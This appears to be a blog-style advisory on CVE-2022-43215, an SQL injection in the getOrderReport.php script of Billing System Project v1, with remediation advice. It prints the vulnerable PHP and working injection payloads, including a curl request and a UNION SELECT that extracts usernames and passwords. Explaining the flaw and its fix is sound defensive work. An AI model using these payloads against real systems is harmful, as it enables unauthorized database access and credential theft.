In late 2022, a critical vulnerability was discovered in the Billing System Project v1., a widely used open-source billing software. This vulnerability, assigned CVE-2022-43215, revolves around a classic but dangerous web security flaw: SQL Injection. In this deep dive, we’ll look at the details of this vulnerability, demonstrate how it can be exploited, show some proof-of-concept code, and discuss how you can protect your systems.

What is SQL Injection?

SQL Injection happens when user-supplied data is not properly filtered and gets used directly in SQL queries. An attacker can manipulate such input to run malicious SQL commands, potentially dumping your database, modifying content, or worse.

Where is the Hole? (getOrderReport.php)

The vulnerability in Billing System Project v1. is found in the script getOrderReport.php, which is meant to generate billing order reports within a specified end date. However, the script does not sanitize the input parameter endDate, allowing attackers to inject arbitrary SQL.

Below is a simplified version of vulnerable code in getOrderReport.php

<?php
// Vulnerable code snippet
include('db_connection.php');

// endDate supplied via GET or POST
$endDate = $_GET['endDate'];

// * DANGER: $endDate used directly in the SQL query *
$sql = "SELECT * FROM orders WHERE order_date <= '$endDate'";

$result = mysqli_query($conn, $sql);
// ... continue logic
?>

Notice how $endDate is placed directly into the SQL query, surrounded by single quotes. No escaping or parameterization is applied.

How Bad Is It?

Because there’s no sanitization, an attacker can modify the endDate parameter to manipulate the query. For example:

https://victim.site/getOrderReport.php?endDate=2024-06-24'%20OR%201=1%20--

The resulting SQL query would be

SELECT * FROM orders WHERE order_date <= '2024-06-24' OR 1=1 --'

This "OR 1=1" clause forces the query to return every order in the database, possibly exposing sensitive customer data.

Here’s a simple exploit using curl

curl "https://victim.site/getOrderReport.php?endDate=2022-01-01'%20OR%201=1--";

This command tricks the server into dumping all order data, bypassing the date filter entirely.

A more advanced attacker could even try to union-select data from other tables if database permissions allow.

Suppose you want to extract usernames from a users table

https://victim.site/getOrderReport.php?endDate=2024-01-01'%20UNION%20SELECT%201,username,password,4%20FROM%20users--%20

Caution: Do not run this on systems you don’t own. Unauthorized testing is illegal and unethical.

1. Use Prepared Statements

The most robust solution is to use prepared statements or parameterized queries. Here’s a secure rewrite:

$stmt = $conn->prepare("SELECT * FROM orders WHERE order_date <= ?");
$stmt->bind_param("s", $endDate);
$stmt->execute();

2. Validate Input

If you expect a date, check that it’s actually a valid date before using it.

if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $endDate)) {
    die('Invalid format');
}

References

- Original NVD Entry for CVE-2022-43215
- Exploit Database: 51502
- Official Billing System Project v1. GitHub *(for educational use only)*
- OWASP SQL Injection Overview

Conclusion

CVE-2022-43215 is a stark reminder that SQL Injection is still a top threat, even in newer web projects. If you use Billing System Project v1. or similar software, patch your code immediately. The fix is straightforward and the consequences of inaction could be severe.

Timeline

Published on: 11/22/2022 01:15:00 UTC
Last modified on: 11/23/2022 14:57:00 UTC